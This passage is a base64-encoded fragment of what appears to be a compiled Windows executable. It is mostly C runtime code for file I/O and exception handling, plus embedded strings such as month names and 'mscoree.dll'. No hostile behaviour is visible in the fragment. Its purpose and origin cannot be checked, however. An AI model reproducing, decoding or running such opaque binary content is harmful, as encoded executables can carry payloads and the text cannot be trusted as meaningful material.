K8iD4Q8DwRvJC8FZ6crm//9RjUwkCCvIg+EHA8EbyQvBWem05v//i/9Vi+wzwDlFDHYSi00IZoM5AHQJQIPBAjtFDHLxXcOL/1WL7FFWi3UMVujrMP//iUUMi0YMWaiCdRnoFET//8cACQAAAINODCC4//8AAOk9AQAAqEB0Dej3Q///xwAiAAAA6+GoAXQXg2YEAKgQD4SNAAAAi04Ig+D+iQ6JRgyLRgyDZgQAg2X8AFNqAoPg71sLw4lGDKkMAQAAdSzofCr//4PAIDvwdAzocCr//4PAQDvwdQ3/dQzoMsX//1mFwHUHVujexP//WfdGDAgBAABXD4SDAAAAi0YIiz6NSAKJDotOGCv4K8uJTgSF/34dV1D/dQzoloL//4PEDIlF/OtOg8ggiUYM6T3///+LTQyD+f90G4P5/nQWi8GD4B+L0cH6BcHgBgMElYAGBRDrBbjw2wQQ9kAEIHQVU2oAagBR6HfD//8jwoPEEIP4/3Qti0YIi10IZokY6x1qAo1F/FD/dQyL+4tdCGaJXfzoHoL//4PEDIlF/Dl9/HQLg04MILj//wAA6weLwyX//wAAX1teycMzwFBQagNQagNoAAAAQGis9AIQ/xXs0gIQoxDeBBDDoRDeBBCD+P90DIP4/nQHUP8V3NICEMOL/1WL7IPsGFNWVzPbagFTU/91CIld8Ild9OhPwv//iUXoI8KDxBCJVeyD+P90WWoCU1P/dQjoM8L//4vII8qDxBCD+f90QYt1DIt9ECvwG/oPiMYAAAB/CDvzD4a8AAAAuwAQAABTagj/FSTSAhBQ/xXM0gIQiUX8hcB1F+gIQv//xwAMAAAA6P1B//+LAF9eW8nDaACAAAD/dQjo1i7//1lZiUX4hf98Cn8EO/NyBIvD6wKLxlD/dfz/dQjoB3r//4PEDIP4/3Q2mSvwG/p4Bn/ThfZ1z4t18P91+P91COiSLv//WVn/dfxqAP8VJNICEFD/FRjTAhAz2+mGAAAA6JhB//+DOAV1C+h7Qf//xwANAAAAg87/iXX06707+39xfAQ783NrU/91EP91DP91COg4wf//I8KDxBCD+P8PhET/////dQjod4j//1lQ/xV40QIQ99gbwPfYSJmJRfAjwolV9IP4/3Up6BxB///HAA0AAADoJEH//4vw/xX40gIQiQaLdfAjdfSD/v8PhPb+//9T/3Xs/3Xo/3UI6M3A//8jwoPEEIP4/w+E2f7//zPA6dn+//+L/1WL7IPsHItVEFaLdQhq/liJReyJVeQ78HUb6MZA//+DIADoq0D//8cACQAAAIPI/+l9BQAAUzPbO/N8CDs1bAYFEHIf6JxA//+JGOiCQP//xwAJAAAA6M5G//+DyP/pTgUAAIvGwfgFV4PmH408hYAGBRCLB8HmBopMMAT2wQF1FOhfQP//iRjoRUD//8cACQAAAOtogfr///9/d06JXfQ70w+EBgUAAPbBAg+F/QQAADldDHQ1ikQwJALA0PiIRf4PvsBIagRZdBlIdQ6LwvfQqAF0FoPi/olVEItdDIld8Ot6i8L30KgBdRno9T///4kY6Ns////HABYAAADoJ0b//+s2i8LR6IlNEDvBcgOJRRD/dRDofXT//4vYWYld8IXbdR7oqT///8cADAAAAOixP///xwAIAAAAg8j/6W4EAABqAWoAagD/dQjoZr///4sPiUQOKIPEEIlUDiyLDwPO9kEESIvDdHqKSQWA+Qp0coN9EAB0bP9NEIB9/gCIC4sPjUMBx0X0AQAAAMZEDgUKdFCLD4pMDiWA+Qp0RYN9EAB0P4gIiw9A/00QgH3+AcdF9AIAAADGRA4lCnUliw+KTA4mgPkKdBqDfRAAdBSICIsPQP9NEMdF9AMAAADGRA4mCmoAjU3oUf91EFCLB/80Bv8V8NICEIXAD4R4AwAAi03ohckPiG0DAAA7TRAPh2QDAACLBwFN9I1EBgT2AIAPhOQBAACAff4CD4QUAgAAhcl0CoA7CnUFgAgE6wOAIPuLXfCLRfQDw4ldEIlF9DvYD4PRAAAAi00QigE8Gg+ErwAAADwNdAyIA0NBiU0Q6ZEAAACLRfRIO8hzGI1BAYA4CnULg8ECiU0QxgMK63WJRRDrbf9FEGoAjUXoUGoBjUX/UIsH/zQG/xXw0gIQhcB1Cv8V+NICEIXAdUWDfegAdD+LB/ZEBgRIdBSAff8KdLnGAw2LB4pN/4hMBgXrJTtd8HUGgH3/CnSgagFq/2r//3UI6L69//+DxBCAff8KdATGAw1Di0X0OUUQD4JG////6xWLB41EBgT2AEB1BYAIAusFigGIA0OLwytF8IB9/gGJRfQPhdAAAACFwA+EyAAAAEuKC4TJeAZD6YYAAAAzwEAPtsnrD4P4BH8TO13wcg5LD7YLQIC5GN4EEAB06IoTD7bKD76JGN4EEIXJdQ3oTj3//8cAKgAAAOt6QTvIdQQD2OtAiw/2RDEESHQlQ4hUMQWD+AJ8CYoTiw+IVA4lQ4P4A3UJihOLD4hUDiZDK9jrEvfYmWoBUlD/dQjo5Lz//4PEEItF5Ctd8NHoUP91DFP/dfBqAGjp/QAA/xUI0wIQiUX0hcB1NP8V+NICEFDo8zz//1mDTez/i0XwO0UMdAdQ6Nse//9Zi0Xsg/j+D4WLAQAAi0X06YMBAACLRfSLFzPJO8MPlcEDwIlF9IlMFjDrxoXJdAtmgzsKdQWACATrA4Ag+4td8ItF9APDiV0QiUX0O9gPgwEBAACLRRAPtwiD+RoPhNkAAACD+Q10EWaJC4PDAoPAAolFEOm1AAAAi030g8H+O8FzHo1IAmaDOQp1DYPABIlFEGoK6Y4AAACJTRDphAAAAINFEAJqAI1F6FBqAo1F+FCLB/80Bv8V8NICEIXAdQr/FfjSAhCFwHVbg33oAHRViwf2RAYESHQoZoN9+Ap0smoNWGaJA4sHik34iEwGBYsHik35iEwGJYsHxkQGJgrrKjtd8HUHZoN9+Ap0hWoBav9q/v91COiDu///g8QQZoN9+Ap0CWoNWGaJA4PDAotF9DlFEA+CGv///+sZiw+NdA4E9gZAdQWADgLrCWaLAGaJA4PDAitd8Ild9OmS/v///xX40gIQagVeO8Z1F+hIO///xwAJAAAA6FA7//+JMOlq/v//g/htD4Va/v//g2XsAOlc/v//M8BfW17Jw2oQaPixBBDoMVP//4tdCIP7/nUb6Bc7//+DIADo/Dr//8cACQAAAIPI/+m2AAAAhdt4CDsdbAYFEHIa6PA6//+DIADo1Tr//8cACQAAAOghQf//69KLw8H4BY08hYAGBRCL84PmH8HmBosHD75EMASD4AF0xrj///9/O0UQG8BAdRXoqTr//4MgAOiOOv//xwAWAAAA67dT6CKC//9Zg2X8AIsH9kQwBAF0FP91EP91DFPokvn//4PEDIlF5OsX6Fk6///HAAkAAADoYTr//4MgAINN5P/HRfz+////6AwAAACLReTomFL//8OLXQhT6GqC//9Zw4v/VYvsVot1CFboUYH//1mD+P91EOgNOv//xwAJAAAAg8j/601X/3UQagD/dQxQ/xUc0gIQi/iD//91CP8V+NICEOsCM8CFwHQMUOj9Of//WYPI/+sbi8bB+AWLBIWABgUQg+YfweYGjUQwBIAg/YvHX15dw4v/VYvsVot1CIX2dRXooDn//8cAFgAAAOjsP///6QYBAACLRgyogw+E+wAAAKhAD4XzAAAAqAJ0C4PIIIlGDOnkAAAAg8gBiUYMqQwBAAB1CVborrr//1nrBYtGCIkG/3YY/3YIVugOJv//WVDoI/7//4PEDIlGBIXAD4SXAAAAg/gBD4SOAAAAg/j/D4SFAAAA9kYMgnVRVujbJf//WYP4/3QwVujPJf//WYP4/nQkV1bowiX//8H4BVaNPIWABgUQ6LIl//+D4B9ZweAGAwdZX+sFuPDbBBCKQAQkgjyCdQeBTgwAIAAAgX4YAAIAAHUVi0YMqAh0DqkABAAAdQfHRhgAEAAAiw6DRgT+D7cBg8ECiQ7rFvfYG8CD4BCDwBAJRgyDZgQAuP//AABeXcPMzFWL7FdWU4tNEAvJdE2LdQiLfQy3QbNatiCNSQCKJgrkigd0JwrAdCODxgGDxwE653IGOuN3AgLmOsdyBjrDdwICxjrgdQuD6QF10TPJOuB0Cbn/////cgL32YvBW15fycPM/yVQ0gIQzMzMzMzMzMxomLYCEGShAAAAAFCLRCQQiWwkEI1sJBAr4FNWV4tF+Ill6FCLRfzHRfz/////iUX4jUXwZKMAAAAAw4tN8GSJDQAAAABZX15byVHDzMzMzFZDMjBYQzAwVYvsg+wIU1ZXVfyLXQyLRQj3QAQGAAAAD4XDAAAAiUX4i0UQiUX8jUX4iUP8i3MMi3sIU+h/BgAAg8QEC8APjo8AAACD/v8PhI0AAACNDHaLRI8EC8B0ZlZVjWsQM9szyTPSM/Yz///QXV6LXQwLwHRMeFhqAf91COg/BQAAg8QIi3sIU+gO4v//g8QEjWsQVlPoZuL//4PECI0MdmoBi0SPCOgF4///iwSPiUMMi0SPCDPbM8kz0jP2M///0It7CI0Mdos0j+l4////uAAAAADrI4tFCINIBAi4AQAAAOsVVY1rEGr/U+gQ4v//g8QIXbgBAAAAXV9eW4vlXcNVi0wkCIspi0EcUItBGFDo6+H//4PECF3CBACL/1WL7FFTi0UMg8AMiUX8ZIsdAAAAAIsDZKMAAAAAi0UIi10Mi238i2P8/+BbycIIAFhZhwQk/+CL/1WL7FFRU1ZXZIs1AAAAAIl1/MdF+BW4AhBqAP91DP91+P91COgd/v//i0UMi0AEg+D9i00MiUEEZIs9AAAAAItd/Ik7ZIkdAAAAAF9eW8nCCABVi+yD7AhTVlf8iUX8M8BQUFD/dfz/dRT/dRD/dQz/dQjoJBQAAIPEIIlF+F9eW4tF+IvlXcOL/1WL7Fb8i3UMi04IM87oPhP//2oAVv92FP92DGoA/3UQ/3YQ/3UI6OcTAACDxCBeXcOL/1WL7IPsOFOBfQgjAQAAdRK4UrkCEItNDIkBM8BA6bAAAACDZdgAx0XcfrkCEKH40gQQjU3YM8GJReCLRRiJReSLRQyJReiLRRyJReyLRSCJRfCDZfQAg2X4AINl/ACJZfSJbfhkoQAAAACJRdiNRdhkowAAAADHRcgBAAAAi0UIiUXMi0UQiUXQ6I5I//+LgIAAAACJRdSNRcxQi0UI/zD/VdRZWYNlyACDffwAdBdkix0AAAAAiwOLXdiJA2SJHQAAAADrCYtF2GSjAAAAAItFyFvJw4v/VYvsUVP8i0UMi0gIM00M6DIS//+LRQiLQASD4GZ0EYtFDMdAJAEAAAAzwEDrbOtqagGLRQz/cBiLRQz/cBSLRQz/cAxqAP91EItFDP9wEP91COixEgAAg8Qgi0UMg3gkAHUL/3UI/3UM6Pz9//9qAGoAagBqAGoAjUX8UGgjAQAA6KH+//+DxByLRfyLXQyLYxyLayD/4DPAQFvJw4v/VYvsUVNWV4t9CItHEIt3DIlF/Ive6yuD/v91Bei7qf//i00QTovGa8AUA0X8OUgEfQU7SAh+BYP+/3UJ/00Mi10IiXUIg30MAH3Mi0UURokwi0UYiRg7Xwx3BDvzdgXoeKn//4vGa8AUA0X8X15bycOL/1WL7ItFDFaLdQiJBugiR///i4CYAAAAiUYE6BRH//+JsJgAAACLxl5dw4v/VYvs6P9G//+LgJgAAADrCosIO00IdAqLQASFwHXyQF3DM8Bdw4v/VYvsVujXRv//i3UIO7CYAAAAdRHox0b//4tOBImImAAAAF5dw+i2Rv//i4CYAAAA6wmLSAQ78XQPi8GDeAQAdfFeXenOqP//i04EiUgE69KL/1WL7IPsGKH40gQQg2XoAI1N6DPBi00IiUXwi0UMiUX0i0UUQMdF7HS4AhCJTfiJRfxkoQAAAACJReiNRehkowAAAAD/dRhR/3UQ6OoRAACLyItF6GSjAAAAAIvBycNQZP81AAAAAI1EJAwrZCQMU1ZXiSiL6KH40gQQM8VQiWXw/3X8x0X8/////41F9GSjAAAAAMOLTfRkiQ0AAAAAWV9fXluL5V1Rw8xTi0QkFAvAdRiLTCQQi0QkDDPS9/GLRCQI9/GLwjPS61CLyItcJBCLVCQMi0QkCNHp0dvR6tHYC8l19Pfzi8j3ZCQUkfdkJBAD0XIOO1QkDHcIcg47RCQIdggrRCQQG1QkFCtEJAgbVCQM99r32IPaAFvCEACL/1WL7FaLdQiBPmNzbeB1JIM9kKoEEAB0G2iQqgQQ6Peq//9ZhcB0DP91DFb/FZCqBBBZWV5dw8zMzIv/VYvsUzPAg8r/VoP5/w+EjgAAAIt1CI0MSY0cjotzCCv3geYA8P//O/J0LYXAdBCLSAw78XIJi1AIA9E78nIXVlfoSKr//4PECIXAdF33QCQAAAAgdFSL1otLBIXJdDcrz4HhAPD//4vxO/J0KYtIDDvxcgmLUAgD0TvychdWV+gKqv//g8QIhcB0H/dAJAAAACB0FovWiwuD+f8PhXL///9euAEAAABbXcNeM8BbXcPMzMzMzMzMzMzMzMzMzIv/VYvsav5oMLMEEGjQBgIQZKEAAAAAUIPsMFNWV6H40gQQMUX4M8VQjUXwZKMAAAAAiWXoi3UIi1YIiVXk9sIDdBQzwItN8GSJDQAAAABZX15bi+Vdw2ShGAAAAItICIlN4DvRcgU7UARy14t+DIl93IP//w+EtAIAADPbM8CLyosxg/7/dAQ78HO3g3kEAHQFuwEAAABAg8EMO8d24oXbdA+LTQiLQfg7ReBylTvBc5GLwiUA8P//iUXgM/aLDeAFBRA78Q+NLgEAAIsc9egFBRCLPPXsBQUQO9gPhUsBAADHRfwAAAAAV+ihqP//g8QEhcAPhPYAAACLReRQi03c6Dr+//+DxASFwA+E3wAAAItNCItRBCvXUlfosKj//4PECIXAD4TFAAAAx0X8/v///4X2D471AQAAuAEAAAC55AUFEIcBhcAPheEBAACLReA5BPXoBQUQdDyLDeAFBRCNcf+F9nggOQT16AUFEHQFTnn06w6LHPXoBQUQizz17AUFEIX2eRGD+RB9B0GJDeAFBRCNcf+F9g+OiAEAADPAhfYPiH4BAADrBo2bAAAAAIsMxegFBRCLFMXsBQUQiRzF6AUFEIk8xewFBRCL2Yv6QDvGftvpTAEAAItN7IsRM8mBOgUAAMAPlMGLwcOLZejHRfz+////i1XkahyNRcBQUv8VGNICEIXAD4QgAQAAgX3YAAAAAXQbg8j/i03wZIkNAAAAAFlfXluL5V3DRumR/v//i33EV+hUp///g8QEhcB01fZF1Mx0JItN5CvPUVfoe6f//4PECIXAD4Tj/f//90AkAAAAgA+F1v3//4tV5FKLTdzox/z//4PEBIXAD4S//f//i0UIi0gEK89RV+g9p///g8QIhcAPhKX9//+6AQAAALjkBQUQhxCF0g+FfQAAAIs94AUFEIvHhf9+Fo0M/eAFBRCLETtV4HQISIPpCIXAf/GFwHVEg/8PjXAPfwKL94tN4ItVxIX2eCK46AUFEI1eAYswi3gEiQiJUASLzovXg8AIS3Xsiz3gBQUQg/8QfRNHiT3gBQUQ6wqLTcSJDMXkBQUQuOQFBRAz0ocQuAEAAACLTfBkiQ0AAAAAWV9eW4vlXcPHAZiqBBDpGAz//4v/VYvsVovxxwaYqgQQ6AUM///2RQgBdAdW6CsQ//9Zi8ZeXcIEAIv/VYvsVleLfQiLRwSFwHRHjVAIgDoAdD+LdQyLTgQ7wXQUg8EIUVLoyy7//1lZhcB0BDPA6yT2BgJ0BfYHCHTyi0UQiwCoAXQF9gcBdOSoAnQF9gcCdNszwEBfXl3Di/9Vi+yLRQiLAIsAPVJDQ+B0Hz1NT0PgdBg9Y3Nt4HUq6HhA//+DoJAAAAAA6Vai///oZ0D//4O4kAAAAAB+C+hZQP///4iQAAAAM8Bdw2oQaFCzBBDo7kT//4t9EItdCIF/BIAAAAB/Bg++cwjrA4tzCIl15OgjQP///4CQAAAAg2X8ADt1FHRig/7/fgU7dwR8Beg7ov//i8aLTwiLNMGJdeDHRfwBAAAAg3zBBAB0FYlzCGgDAQAAU4tPCP90wQToggsAAINl/ADrGv917Ogr////WcOLZeiDZfwAi30Qi10Ii3XgiXXk65nHRfz+////6BkAAAA7dRR0BejSof//iXMI6IRE///Di10Ii3Xk6Ig///+DuJAAAAAAfgvoej////+IkAAAAMOLAIE4Y3Nt4HU4g3gQA3Uyi0gUgfkgBZMZdBCB+SEFkxl0CIH5IgWTGXUXg3gcAHUR6D0///8zyUGJiAwCAACLwcMzwMNqCGh4swQQ6M1D//+LTQiFyXQqgTljc23gdSKLQRyFwHQbi0AEhcB0FINl/ABQ/3EY6Bb1///HRfz+////6NxD///DM8A4RQwPlcDDi2Xo6MSg///Mi/9Vi+yLTQyLAVaLdQgDxoN5BAB8EItRBItJCIs0MosMDgPKA8FeXcOL/1WL7DPAg+wMO/h1CujToP//6IKg//+IRf+JRfQ5B35PU4lF+FaLRQiLQByLQAyLGI1wBOsgi00I/3EciwZQi0cEA0X4UOhn/f//g8QMhcB1CkuDxgSF23/c6wTGRf8B/0X0i0X0g0X4EDsHfLheW4pF/8nDagS46c0CEOj+9///6Ck+//+DuJQAAAAAdAXoUaD//4Nl/ADoNaD//4NN/P/o85///+gEPv//i00IagBqAImIlAAAAOjpJv//zGosaPCzBBDokEL//4vZi30Mi3UIiV3kg2XMAItH/IlF3P92GI1FxFDoj/b//1lZiUXY6Lo9//+LgIgAAACJRdTorD3//4uAjAAAAIlF0OiePf//ibCIAAAA6JM9//+LTRCJiIwAAACDZfwAM8BAiUUQiUX8/3Uc/3UYU/91FFfo3fb//4PEFIlF5INl/ADrb4tF7Ojm/f//w4tl6OhQPf//g6AMAgAAAIt1FIt9DIF+BIAAAAB/Bg++TwjrA4tPCIteEINl4ACLReA7RgxzGGvAFItUGAQ7yn5BO0wYCH87i0YIi0zQCFFWagBX6LH8//+DxBCDZeQAg2X8AIt1CMdF/P7////HRRAAAAAA6BQAAACLReTox0H//8P/ReDrp4t9DIt1CItF3IlH/P912Ojb9f//Wei3PP//i03UiYiIAAAA6Kk8//+LTdCJiIwAAACBPmNzbeB1QoN+EAN1PItGFD0gBZMZdA49IQWTGXQHPSIFkxl1JIN9zAB1HoN95AB0GP92GOhd9f//WYXAdAv/dRBW6Cr9//9ZWcNqDGgYtAQQ6PRA//8z0olV5ItFEItIBDvKD4RYAQAAOFEID4RPAQAAi0gIO8p1DPcAAAAAgA+EPAEAAIsAi3UMhcB4BI10MQyJVfwz20NTqAh0QYt9CP93GOjuBwAAWVmFwA+E8gAAAFNW6N0HAABZWYXAD4ThAAAAi0cYiQaLTRSDwQhRUOjx/P//WVmJBunLAAAAi30Ui0UI/3AYhB90SOimBwAAWVmFwA+EqgAAAFNW6JUHAABZWYXAD4SZAAAA/3cUi0UI/3AYVujQBv//g8QMg38UBA+FggAAAIsGhcB0fIPHCFfrnDlXGHU46FkHAABZWYXAdGFTVuhMBwAAWVmFwHRU/3cUg8cIV4tFCP9wGOhk/P//WVlQVuh/Bv//g8QM6znoIQcAAFlZhcB0KVNW6BQHAABZWYXAdBz/dxjoBgcAAFmFwHQP9gcEagBYD5XAQIlF5OsF6Cyd///HRfz+////i0Xk6w4zwEDDi2Xo6Mic//8zwOjHP///w2oIaDi0BBDodT///4tFEPcAAAAAgHQFi10M6wqLSAiLVQyNXBEMg2X8AIt1FFZQ/3UMi30IV+hG/v//g8QQSHQfSHU0agGNRghQ/3cY6Kv7//9ZWVD/dhhT6Jbw///rGI1GCFD/dxjokfv//1lZUP92GFPofPD//8dF/P7////oQj///8MzwEDDi2Xo6C+c///Mi/9Vi+yDfRgAdBD/dRhTVv91COhW////g8QQg30gAP91CHUDVusD/3Ug6Drw////N/91FP91EFbouPn//4tHBGgAAQAA/3UcQP91FIlGCP91DItLDFb/dQjo9fv//4PEKIXAdAdWUOjE7///XcOL/1WL7IPsDFaLdQiBPgMAAIAPhOwAAABX6Lg5//+DuIAAAAAAdEfoqjn//424gAAAAOjvN///OQd0M4sGPU1PQ+B0Kj1SQ0PgdCP/dST/dSD/dRj/dRT/dRD/dQxW6FXw//+DxByFwA+FlQAAAIt9GIN/DAB1BeiQm///i3UcjUX0UI1F/FBW/3UgV+id8f//i038g8QUO030c2eDwAyJRfhTjXj0Ozd8Rztw+H9CiwjB4QQDSASLUfSF0nQGgHoIAHUtjVnw9gNAdSX/dSSLdQz/dSBqAP91GP91FP91EP91COiq/v//i3Uci0X4g8Qc/0X8i038g8AUiUX4O030cqFbX17Jw4v/VYvsg+w0i00MU4tdGItDBFZXxkX/AD2AAAAAfwYPvkkI6wOLSQiJTfiD+f98BDvIfAXozJr//4t1CL9jc23gOT4PhegCAACDfhADuyAFkxkPhSkBAACLRhQ7w3QSPSEFkxl0Cz0iBZMZD4UQAQAAg34cAA+FBgEAAOhPOP//g7iIAAAAAA+E4wIAAOg9OP//i7CIAAAAiXUI6C84//+LgIwAAABqAVaJRRDoFQQAAFlZhcB1BehJmv//OT51JoN+EAN1IItGFDvDdA49IQWTGXQHPSIFkxl1C4N+HAB1Begfmv//6OQ3//+DuJQAAAAAD4SJAAAA6NI3//+LuJQAAADoxzf///91CDP2ibCUAAAA6Af5//9ZhMB1XDPbOR9+HYtHBItMAwRooPcEEOj9Bv//hMB1DUaDwxA7N3zj6HSZ//9qAf91COhS+P//WVmNRQhQjU3Mx0UIoKoEEOgDAv//aFS0BBCNRcxQx0XMmKoEEOhNIP//i3UIv2NzbeA5Pg+FpQEAAIN+EAMPhZsBAACLRhQ7w3QSPSEFkxl0Cz0iBZMZD4WCAQAAi30Yg38MAA+G3AAAAI1F4FCNRfBQ/3X4/3UgV+ha7///i03wg8QUO03gD4O5AAAAjXgQiX3ki034jUfwiUXYOQgPj4oAAAA7T/QPj4EAAACLB4lF9ItH/IlF6IXAfnKLRhyLQAyNWASLAIlF7IXAfiP/dhyLA1D/dfSJRdzopPX//4PEDIXAdRr/TeyDwwQ5Rex/3f9N6INF9BCDfegAf77rLv91JIt92P91IItd9P913MZF/wH/dRj/dRT/dRBWi3UM6Bf8//+LdQiLfeSDxBz/RfCLRfCDxxSJfeQ7ReAPglD///+LfRiAfRwAdApqAVbo/vb//1lZgH3/AA+FrgAAAIsHJf///x89IQWTGQ+CnAAAAIt/HIX/D4SRAAAAVuhN9///WYTAD4WCAAAA6O81///o6jX//+jlNf//ibCIAAAA6No1//+DfSQAi00QiYiMAAAAVnUF/3UM6wP/dSTo4uv//4t1GGr/Vv91FP91DOhd9f//g8QQ/3Yc6Gf3//+LXRiDewwAdiaAfRwAD4X//f///3Uk/3Ug/3X4U/91FP91EP91DFbon/v//4PEIOhtNf//g7iUAAAAAHQF6JWX//9fXlvJw4v/VYvsVv91CIvx6HAA///HBpiqBBCLxl5dwgQAi/9Vi+xTVlfoMDX//4O4DAIAAACLRRiLTQi/Y3Nt4L7///8fuyIFkxl1IIsRO9d0GoH6JgAAgHQSixAj1jvTcgr2QCABD4WTAAAA9kEEZnQjg3gEAA+EgwAAAIN9HAB1fWr/UP91FP91DOh/9P//g8QQ62qDeAwAdRKLECPWgfohBZMZcliDeBwAdFI5OXUyg3kQA3IsOVkUdieLURyLUgiF0nQdD7Z1JFb/dSD/dRxQ/3UU/3UQ/3UMUf/Sg8Qg6x//dSD/dRz/dSRQ/3UU/3UQ/3UMUeiT+///g8QgM8BAX15bXcPMzFWL7IPsBFNRi0UMg8AMiUX8i0UIVf91EItNEItt/OipzP//Vlf/0F9ei91di00QVYvrgfkAAQAAdQW5AgAAAFHoh8z//11ZW8nCDACL/1WL7DPAQIN9CAB1AjPAXcOLVCQIjUIMi0roM8jo5/3+/7j8sgQQ6VXq//+LVCQIjUIMi0rsM8jozP3+/7jIswQQ6Trq///HBcD3BBDs1AIQucD3BBDpof7+/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFsEEACrABAAQwAQA+r8EAO6/BADevwQAwr8EALK/BACovwQAmL8EAIS/BAB0vwQAYr8EAFS/BABCvwQAMr8EAA7EBAACxAQA6sMEANbDBADEwwQAssMEAKLDBACCwwQAaMMEAFTDBAAywwQAHsMEAATDBADuwgQA5MIEAMjCBACqwgQAjsIEAHLCBABgwgQATsIEADDCBAAgwgQADsIEAPrBBADkwQQAysEEALbBBACgwQQAjMEEAHLBBABgwQQAUMEEAD7BBAAmwQQAHr8EAAbBBAD0wAQA5MAEAM7ABAC6wAQAqMAEAJrABACKwAQAesAEAGrABABWwAQAPL4EAFC+BABkvgQAdr4EAI6+BACivgQAtr4EAMy+BADgvgQA+L4EAAy/BABCwAQAAAAAAFTIBABqyAQAgsgEAJbIBAC6yAQA0MgEAPTIBAAEyQQAIskEAEbJBABYyQQAfMkEAJrJBACwyQQA1MkEAAAAAAAIzwQAFs8EACbPBAD2vQQA4r0EAMq9BAC4vQQAmr0EAHy9BABsvQQAUL0EAEi9BAA0vQQAIr0EABK9BAAEvQQA9LwEAOi8BADSvAQAuLwEAKa8BACMvAQAerwEAGi8BABSvAQAPLwEACy8BAAavAQABLwEAPS7BADeuwQAzLsEALy7BACmuwQAlLsEAIK7BABuuwQAXrsEAEq7BAA6uwQAKLsEABq7BAAKuwQA+LoEAOa6BAA2zwQA+M4EAOzOBADczgQAws4EAKjOBACOzgQAeM4EAGbOBABQzgQAQM4EADTOBAAizgQAEs4EAPrNBADozQQA2s0EALLNBACgzQQAls0EAIjNBAB6zQQAbs0EAFzNBABQzQQARs0EAC7NBAAWzQQACs0EAPrMBADszAQA3swEAMLMBACuzAQAkMwEAHTMBABgzAQATswEADzMBAAmzAQAFswEAAjMBAD8ywQA1LoEAMa6BACyugQApLoEAIy6BAB8ugQAaLoEAFq6BABOugQAQroEADK6BAAmugQAGLoEAAC6BADquQQA1LkEAOTLBADMywQAwMsEAAAAAACeywQAjssEAAAAAABwywQAvMoEANzKBAD4ygQAFMsEADbLBABMywQAXssEAAAAAAAcxwQA/sYEAObGBAAOxwQAPscEAFTHBABixwQAgMcEAMzGBAC+xgQAosYEAJLGBACAxgQAZsYEAAAAAAAuxAQAAAAAABLIBAAkyAQAOMgEAAAAAAD4yQQAkMoEAEjKBAB6ygQAXsoEACbKBAASygQAAAAAABq+BAAAAAAA2McEAMbHBAC8xwQAsMcEAPDHBACkxwQAAAAAAPjFBADYxQQAtsUEAJzFBACCxQQAbsUEAArGBABExQQAKMUEABTFBAD4xAQA6MQEANDEBAC4xAQAoMQEAITEBABwxAQAIMYEADTGBABKxgQAWsUEAFDEBAAAAAAAAAAAAAAAAAAAAAAAIdUBEP7tARD+8AEQvvwBEAAAAAAAAAAAr6sCENLVARAAAAAAAAAAAAAAAAAAAAAAAAAAADW3DlYAAAAAAgAAAEMAAAD4qgQA+J4EADyrBBClywEQ8ssBEIirBBClywEQ8ssBENirBBClywEQ8ssBECisBBDEzAEQ8ssBEFVua25vd24gZXhjZXB0aW9uAAAAPKwEEAbRARCErAQQFhQAEPLLARBiYWQgYWxsb2NhdGlvbgAAQ29yRXhpdFByb2Nlc3MAAG0AcwBjAG8AcgBlAGUALgBkAGwAbAAAAAAAAABjc23gAQAAAAAAAAAAAAAAAwAAACAFkxkAAAAAAAAAACD4BBB4+AQQKG51bGwpAAAGAAAGAAEAABAAAwYABgIQBEVFRQUFBQUFNTAAUAAAAAAoIDhQWAcIADcwMFdQBwAAICAIAAAAAAhgaGBgYGAAAHhweHh4eAgHCAAABwAICAgAAAgACAAHCAAAAEgASAA6AG0AbQA6AHMAcwAAAAAAZABkAGQAZAAsACAATQBNAE0ATQAgAGQAZAAsACAAeQB5AHkAeQAAAE0ATQAvAGQAZAAvAHkAeQAAAAAAUABNAAAAAABBAE0AAAAAAEQAZQBjAGUAbQBiAGUAcgAAAAAATgBvAHYAZQBtAGIAZQByAAAAAABPAGMAdABvAGIAZQByAAAAUwBlAHAAdABlAG0AYgBlAHIAAABBAHUAZwB1AHMAdAAAAAAASgB1AGwAeQAAAAAASgB1AG4AZQAAAAAAQQBwAHIAaQBsAAAATQBhAHIAYwBoAAAARgBlAGIAcgB1AGEAcgB5AAAAAABKAGEAbgB1AGEAcgB5AAAARABlAGMAAABOAG8AdgAAAE8AYwB0AAAAUwBlAHAAAABBAHUAZwAAAEoAdQBsAAAASgB1AG4AAABNAGEAeQAAAEEAcAByAAAATQBhAHIAAABGAGUAYgAAAEoAYQBuAAAAUwBhAHQAdQByAGQAYQB5AAAAAABGAHIAaQBkAGEAeQAAAAAAVABoAHUAcgBzAGQAYQB5AAAAAABXAGUAZABuAGUAcwBkAGEAeQAAAFQAdQBlAHMAZABhAHkAAABNAG8AbgBkAGEAeQAAAAAAUwB1AG4AZABhAHkAAAAAAFMAYQB0AAAARgByAGkAAABUAGgAdQAAAFcAZQBkAAAAVAB1AGUAAABNAG8AbgAAAFMAdQBuAAAASEg6bW06c3MAAAAAZGRkZCwgTU1NTSBkZCwgeXl5eQBNTS9kZC95eQAAAABQTQAAQU0AAERlY2VtYmVyAAAAAE5vdmVtYmVyAAAAAE9jdG9iZXIAU2VwdGVtYmVyAAAAQXVndXN0AABKdWx5AAAAAEp1bmUAAAAAQXByaWwAAABNYXJjaAAAAEZlYnJ1YXJ5AAAAAEphbnVhcnkARGVjAE5vdgBPY3QAU2VwAEF1ZwBKdWwASnVuAE1heQBBcHIATWFyAEZlYgBKYW4AU2F0